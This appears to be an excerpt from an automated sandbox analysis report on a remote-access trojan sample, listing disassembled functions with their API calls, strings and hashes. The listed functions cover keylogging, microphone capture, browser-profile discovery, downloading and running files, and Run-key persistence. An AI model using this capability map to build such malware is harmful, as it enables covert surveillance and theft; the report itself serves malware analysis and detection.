                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID: ACP$OCP
                                                        • API String ID: 0-711371036
                                                        • Opcode ID: 28d359b86f53a769e50845c8979a9c95ba506d3f4f520eddc938968d94c37ac1
                                                        • Instruction ID: 09b953eaa346ea86c897215e5a2a15a508f8bcb16f9b984b1dadcb699cf7d301
                                                        • Opcode Fuzzy Hash: 28d359b86f53a769e50845c8979a9c95ba506d3f4f520eddc938968d94c37ac1
                                                        • Instruction Fuzzy Hash: E821D862A80204A6DB36CF14C941BAB7266DB54B13F568426ED0AD7322F73BED45C35C
                                                        Function 0044B7B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81fileCOMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • WriteFile.KERNEL32(?,?,?,?,00000000,FF8BC35D,00000000,?,PkGNG,0044BBEE,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B85B
                                                        • GetLastError.KERNEL32 ref: 0044B884
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorFileLastWrite
                                                        • String ID: PkGNG
                                                        • API String ID: 442123175-263838557
                                                        • Opcode ID: 9f33f136d580808b36a549075194831cac44b680ed95d57240af363647088f83
                                                        • Instruction ID: 9972a58bdd01e134d13becd973f3089a2f7b3635eb9ddb95e5d59f4384582b5e
                                                        • Opcode Fuzzy Hash: 9f33f136d580808b36a549075194831cac44b680ed95d57240af363647088f83
                                                        • Instruction Fuzzy Hash: B2316F31A00619DBCB24DF59DD8099AF3F9FF48301B1485AAE909D7261E734ED81CBA8
                                                        Function 0044B6D2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • WriteFile.KERNEL32(?,?,?,?,00000000,FF8BC35D,00000000,?,PkGNG,0044BC0E,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B76D
                                                        • GetLastError.KERNEL32 ref: 0044B796
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorFileLastWrite
                                                        • String ID: PkGNG
                                                        • API String ID: 442123175-263838557
                                                        • Opcode ID: 482fa6ac77512a0fc819500aa413458c203250297fd7de672378db3e029a087c
                                                        • Instruction ID: c865f2f287ade0309940dd9d446f9ab1351fd896516eb6f8948e0fb5ca6ebdce
                                                        • Opcode Fuzzy Hash: 482fa6ac77512a0fc819500aa413458c203250297fd7de672378db3e029a087c
                                                        • Instruction Fuzzy Hash: 69219435600219DFDB14CF69D980BEAB3F9EB48312F1048AAE94AD7251D734ED85CB64
                                                        Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415D04,?,00000001,0000004C,00000000), ref: 00405030
                                                          • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                        • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415D04,?,00000001,0000004C,00000000), ref: 00405087
                                                        Strings
                                                        • KeepAlive | Enabled | Timeout: , xrefs: 0040501F
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: LocalTime
                                                        • String ID: KeepAlive | Enabled | Timeout:
                                                        • API String ID: 481472006-1507639952
                                                        • Opcode ID: 145f269d181a8435875c36411829170d0c63d951855ea4e88e6edb1186bb4574
                                                        • Instruction ID: e3b05ee6596aa2f5bef7afedc99ae4e94a3de8d8e2082a6dce2ef35069f0368d
                                                        • Opcode Fuzzy Hash: 145f269d181a8435875c36411829170d0c63d951855ea4e88e6edb1186bb4574
                                                        • Instruction Fuzzy Hash: 8D2104719107806BD700B736980A76F7B64E751308F44097EE8491B2E2EB7D5A88CBEF
                                                        Function 00416676 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • Sleep.KERNEL32 ref: 0041667B
                                                        • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166DD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: DownloadFileSleep
                                                        • String ID: !D@
                                                        • API String ID: 1931167962-604454484
                                                        • Opcode ID: 55e5d64e7b98f77c9516b1aa3147275b9d54505b18039c208d99df416d007d74
                                                        • Instruction ID: 05e88009b36717a37a8ab5ea381c0ce1ab0270976c353b8abb87c8adb32aa340
                                                        • Opcode Fuzzy Hash: 55e5d64e7b98f77c9516b1aa3147275b9d54505b18039c208d99df416d007d74
                                                        • Instruction Fuzzy Hash: F21142716083029AC614FF72D8969AE77A4AF50348F400C7FF546531E2EE3C9949C65A
                                                        Function 0041ADA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • PathFileExistsW.SHLWAPI(00000000), ref: 0041ADCD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExistsFilePath
                                                        • String ID: alarm.wav$hYG
                                                        • API String ID: 1174141254-2782910960
                                                        • Opcode ID: b1264f66081e357ea998da1c4a3710e4054d322a9d90202bb867bf05cfcdbcb2
                                                        • Instruction ID: 4122455f09fb97d0238bc6f6df8f07100adf7eded08faacdf9dae369850c3b42
                                                        • Opcode Fuzzy Hash: b1264f66081e357ea998da1c4a3710e4054d322a9d90202bb867bf05cfcdbcb2
                                                        • Instruction Fuzzy Hash: 6401B57078831156CA04F77688166EE77959B80718F00847FF64A162E2EFBC9E59C6CF
                                                        Function 0040B08C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0040B19F: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B1AD
                                                          • Part of subcall function 0040B19F: wsprintfW.USER32 ref: 0040B22E
                                                          • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                        • CloseHandle.KERNEL32(?), ref: 0040B0EF
                                                        • UnhookWindowsHookEx.USER32 ref: 0040B102
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                                        • String ID: Online Keylogger Stopped
                                                        • API String ID: 1623830855-1496645233
                                                        • Opcode ID: d2011962e6819f9b37a51f0e1cf8c7d5879c21619fea64d9aec53d325501bd1f
                                                        • Instruction ID: 2c7fc3a8f12b1f8c565497f75251163d8124a4eac963031352a4caf2a1bdec21
                                                        • Opcode Fuzzy Hash: d2011962e6819f9b37a51f0e1cf8c7d5879c21619fea64d9aec53d325501bd1f
                                                        • Instruction Fuzzy Hash: 6F01F530600610ABD7217B35C81B7BE7B729B41304F4004BFE982265C2EBB91856C7DE
                                                        Function 00448C33 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,A4E85006,00000001,?,0043CEA5), ref: 00448CA4
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: String
                                                        • String ID: LCMapStringEx$PkGNG
                                                        • API String ID: 2568140703-1065776982
                                                        • Opcode ID: 1885f0d73e679dc43364bca4b79527da2e22ca333ca41b5935a1c787a3402146
                                                        • Instruction ID: c3f282dcf0fd97a5c368a601407465e3bede0a00add2935535d0592c00eac712
                                                        • Opcode Fuzzy Hash: 1885f0d73e679dc43364bca4b79527da2e22ca333ca41b5935a1c787a3402146
                                                        • Instruction Fuzzy Hash: 3001253254120CFBCF02AF91DD02EEE7F66EF08751F04416AFE1965161CA3A8971EB99
                                                        Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • waveInPrepareHeader.WINMM(?,00000020,?,?,00476B50,00474EE0,?,00000000,00401A15), ref: 00401849
                                                        • waveInAddBuffer.WINMM(?,00000020,?,00000000,00401A15), ref: 0040185F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: wave$BufferHeaderPrepare
                                                        • String ID: XMG
                                                        • API String ID: 2315374483-813777761
                                                        • Opcode ID: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
                                                        • Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
                                                        • Opcode Fuzzy Hash: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
                                                        • Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8
                                                        Function 00448B66 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • IsValidLocale.KERNEL32(00000000,kKD,00000000,00000001,?,?,00444B6B,?,?,?,?,00000004), ref: 00448BB2
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: LocaleValid
                                                        • String ID: IsValidLocaleName$kKD
                                                        • API String ID: 1901932003-3269126172
                                                        • Opcode ID: 04660431652152feee489ab769ffb62c2764274a72e4b83c9e76caadb00853e6
                                                        • Instruction ID: c774fcfd7954269485cc3e12fd2bed3330e0a6a7af379781e67d062e13931268
                                                        • Opcode Fuzzy Hash: 04660431652152feee489ab769ffb62c2764274a72e4b83c9e76caadb00853e6
                                                        • Instruction Fuzzy Hash: 9BF05230A80708FBDB016B60DC06FAE7B54CB44B12F10007EFD046B291DE799E0091ED
                                                        Function 0040C4FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 0040C531
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExistsFilePath
                                                        • String ID: UserProfile$\AppData\Local\Google\Chrome\
                                                        • API String ID: 1174141254-4188645398
                                                        • Opcode ID: 436aaf2f4919e8db7ac4fc258f207b39b4a1c8f6fc7c84df28bf50f08fcb3653
                                                        • Instruction ID: 9b0ec594f197676e752fca63164bf20e3c748e9c9f1ad615e42e10c79405690b
                                                        • Opcode Fuzzy Hash: 436aaf2f4919e8db7ac4fc258f207b39b4a1c8f6fc7c84df28bf50f08fcb3653
                                                        • Instruction Fuzzy Hash: FEF05E30A00219A6CA04BBB69C478AF7B289910759B40017FBA01B21D3EE78994586DD
                                                        Function 0040C561 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 0040C594
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExistsFilePath
                                                        • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                                                        • API String ID: 1174141254-2800177040
                                                        • Opcode ID: 08b04822ed6971428f4ee0f1b5576531b1655caf3e2843dc1830a10d440ec58d
                                                        • Instruction ID: ebfb9b6c20c42028ef61fa2b9513503d2b9bf0243ac81fc6585c9643e3935da3
                                                        • Opcode Fuzzy Hash: 08b04822ed6971428f4ee0f1b5576531b1655caf3e2843dc1830a10d440ec58d
                                                        • Instruction Fuzzy Hash: F1F05E70A0021AE6CA04BBB69C478EF7B2C9910755B40017BBA01721D3FE7CA94586ED
                                                        Function 0040C5C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • PathFileExistsW.SHLWAPI(00000000,\Opera Software\Opera Stable\,00000000), ref: 0040C5F7
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExistsFilePath
                                                        • String ID: AppData$\Opera Software\Opera Stable\
                                                        • API String ID: 1174141254-1629609700
                                                        • Opcode ID: 9b1d6074b97f50ec4858c5e648a4d0042a555a00805eb6ed81dbd0ba111bcdaf
                                                        • Instruction ID: 695210f55460e2722832162fecb8267ed9c5d90cd61684e29202a639a57ef244
                                                        • Opcode Fuzzy Hash: 9b1d6074b97f50ec4858c5e648a4d0042a555a00805eb6ed81dbd0ba111bcdaf
                                                        • Instruction Fuzzy Hash: 38F05E30A00219D6CA14BBB69C478EF7B2C9950755F1005BBBA01B21D3EE789941C6ED
                                                        Function 0040B681 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetKeyState.USER32(00000011), ref: 0040B686
                                                          • Part of subcall function 0040A41B: GetForegroundWindow.USER32 ref: 0040A451
                                                          • Part of subcall function 0040A41B: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A45D
                                                          • Part of subcall function 0040A41B: GetKeyboardLayout.USER32(00000000), ref: 0040A464
                                                          • Part of subcall function 0040A41B: GetKeyState.USER32(00000010), ref: 0040A46E
                                                          • Part of subcall function 0040A41B: GetKeyboardState.USER32(?), ref: 0040A479
                                                          • Part of subcall function 0040A41B: ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A49C
                                                          • Part of subcall function 0040A41B: ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 0040A4FC
                                                          • Part of subcall function 0040A671: SetEvent.KERNEL32(?,?,00000000,0040B245,00000000), ref: 0040A69D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                                                        • String ID: [AltL]$[AltR]
                                                        • API String ID: 2738857842-2658077756
                                                        • Opcode ID: 973633859d93ff8360b83ac9e1d77558cdb0b7c4d5bdbb5f5e50dc46d20ac961
                                                        • Instruction ID: d407634c764e35d79823ffb94670adf82ecea3c262ef0a09b09082b5b6a355d5
                                                        • Opcode Fuzzy Hash: 973633859d93ff8360b83ac9e1d77558cdb0b7c4d5bdbb5f5e50dc46d20ac961
                                                        • Instruction Fuzzy Hash: B2E0652171032052C859363D592FABE2D11CB41B64B42097FF842AB7D6DABF4D5543CF
                                                        Function 004489D7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetSystemTimeAsFileTime.KERNEL32(00000000,0043AB37), ref: 00448A16
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Time$FileSystem
                                                        • String ID: GetSystemTimePreciseAsFileTime$PkGNG
                                                        • API String ID: 2086374402-949981407
                                                        • Opcode ID: b67c042d7bc2b84d65cb935a06f544084891d6a740928cef279651ffc9d800ce
                                                        • Instruction ID: bacba389ed7ed90706db716b221aab5ed2509560655679cc0f09f15d90276a03
                                                        • Opcode Fuzzy Hash: b67c042d7bc2b84d65cb935a06f544084891d6a740928cef279651ffc9d800ce
                                                        • Instruction Fuzzy Hash: 79E0E531A81618FBD7116B25EC02E7EBB50DB08B02B10027FFC05A7292EE754D14D6DE
                                                        Function 004161C5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161E3
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExecuteShell
                                                        • String ID: !D@$open
                                                        • API String ID: 587946157-1586967515
                                                        • Opcode ID: 30a1d241cab23d886832e5a2cf84020a5ff996eade7e739dca91f4d882a6cfc9
                                                        • Instruction ID: 3b2857edeaddefe186f4a0a52e989bb70d7a4cfa1db765b6d796ce97600c5b03
                                                        • Opcode Fuzzy Hash: 30a1d241cab23d886832e5a2cf84020a5ff996eade7e739dca91f4d882a6cfc9
                                                        • Instruction Fuzzy Hash: 4AE012712483059AD214EA72DC92EFEB35CAB54755F404C3FF506524E2EF3C5C49C66A
                                                        Function 004555CB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • ___initconout.LIBCMT ref: 004555DB
                                                          • Part of subcall function 00456B9D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004555E0,00000000,PkGNG,0044B61D,?,FF8BC35D,00000000,?,00000000), ref: 00456BB0
                                                        • WriteConsoleW.KERNEL32(FFFFFFFE,FF8BC369,00000001,00000000,00000000,00000000,PkGNG,0044B61D,?,FF8BC35D,00000000,?,00000000,PkGNG,0044BB99,?), ref: 004555FE
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ConsoleCreateFileWrite___initconout
                                                        • String ID: PkGNG
                                                        • API String ID: 3087715906-263838557
                                                        • Opcode ID: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
                                                        • Instruction ID: 53f4b2898eb153bde3bf118a85e4039abf363423ff24ad7888d91dc13aa78fd6
                                                        • Opcode Fuzzy Hash: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
                                                        • Instruction Fuzzy Hash: C5E0EDB0100548BBDA208B69DC29EBA3328EB00331F500369FE29C62D2EB34EC44C769
                                                        Function 0040B6DB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetKeyState.USER32(00000012), ref: 0040B6E0
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: State
                                                        • String ID: [CtrlL]$[CtrlR]
                                                        • API String ID: 1649606143-2446555240
                                                        • Opcode ID: 1321bbb6cc8174ef42da852326f734558715e41d50b56193fb2d1a3bfc871e5f
                                                        • Instruction ID: b338140f060b4cc34328e336f8905ed3f99262ec5dadafe534bff25dd27afc5e
                                                        • Opcode Fuzzy Hash: 1321bbb6cc8174ef42da852326f734558715e41d50b56193fb2d1a3bfc871e5f
                                                        • Instruction Fuzzy Hash: CFE04F2160072052C5243A7D561A67A2911C7C2764F41057BE9826B7C6DABE891452DF
                                                        Function 0040E7DA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00434801: __onexit.LIBCMT ref: 00434807
                                                        • __Init_thread_footer.LIBCMT ref: 00410F64
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Init_thread_footer__onexit
                                                        • String ID: ,kG$0kG
                                                        • API String ID: 1881088180-2015055088
                                                        • Opcode ID: 9b05eae692bf82ff893255be440f7f21efe509fead0387458dc7709882e6db21
                                                        • Instruction ID: 52a075922dd803dc3791164d579436726ad124eb3de8ddc986de269a183bf650
                                                        • Opcode Fuzzy Hash: 9b05eae692bf82ff893255be440f7f21efe509fead0387458dc7709882e6db21
                                                        • Instruction Fuzzy Hash: A8E0D8315149208EC514B729E542AC53395DB0E324B21907BF014D72D2CBAE78C28E5D
                                                        Function 00413A5E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,00000000,00000002,?,80000002,80000002,0040D509,00000000,?,00000000), ref: 00413A6C
                                                        • RegDeleteValueW.ADVAPI32(?,?,?,00000000), ref: 00413A80
                                                        Strings
                                                        • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A6A
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: DeleteOpenValue
                                                        • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                        • API String ID: 2654517830-1051519024
                                                        • Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                                        • Instruction ID: 8a242acd51d06e7ce72e997358fe7bb9804e2c240f13b939b69747d851efcbee
                                                        • Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                                        • Instruction Fuzzy Hash: FFE0C231244208FBEF104FB1DD06FFA7B2CDB01F42F1006A9BA0692192C626CE049664
                                                        Function 00440CE1 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440D77
                                                        • GetLastError.KERNEL32 ref: 00440D85
                                                        • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440DE0
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ByteCharMultiWide$ErrorLast
                                                        • String ID:
                                                        • API String ID: 1717984340-0
                                                        • Opcode ID: aa9c90e467390f2e0f6591fe7c9965b03d9b59885bed7a4237b1e33e934d31eb
                                                        • Instruction ID: 51be13377619d21db21fabe69686c0ed70cae26876ac5a8e773c252addda8789
                                                        • Opcode Fuzzy Hash: aa9c90e467390f2e0f6591fe7c9965b03d9b59885bed7a4237b1e33e934d31eb
                                                        • Instruction Fuzzy Hash: 2D412670A00212AFEF218FA5C8447BBBBA4EF41310F2045AAFA59573E1DB399C31C759
                                                        Function 00411B9A Relevance: 5.1, APIs: 4, Instructions: 119COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • IsBadReadPtr.KERNEL32(?,00000014), ref: 00411BC7
                                                        • IsBadReadPtr.KERNEL32(?,00000014), ref: 00411C93
                                                        • SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411CB5
                                                        • SetLastError.KERNEL32(0000007E,00411F2B), ref: 00411CCC
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLastRead
                                                        • String ID:
                                                        • API String ID: 4100373531-0
                                                        • Opcode ID: 90639ee29dfdd48ecb3f8d3d3319bc7730bab7022ac74643829df8c5f46e8e60
                                                        • Instruction ID: 65e884089caabfe283b2879acbb60db065d5dd9ad58be7743d127bf22715a70c
                                                        • Opcode Fuzzy Hash: 90639ee29dfdd48ecb3f8d3d3319bc7730bab7022ac74643829df8c5f46e8e60
                                                        • Instruction Fuzzy Hash: 60419D716443059FEB248F19DC84BA7B3E4FF44714F00082EEA4A876A1F738E845CB99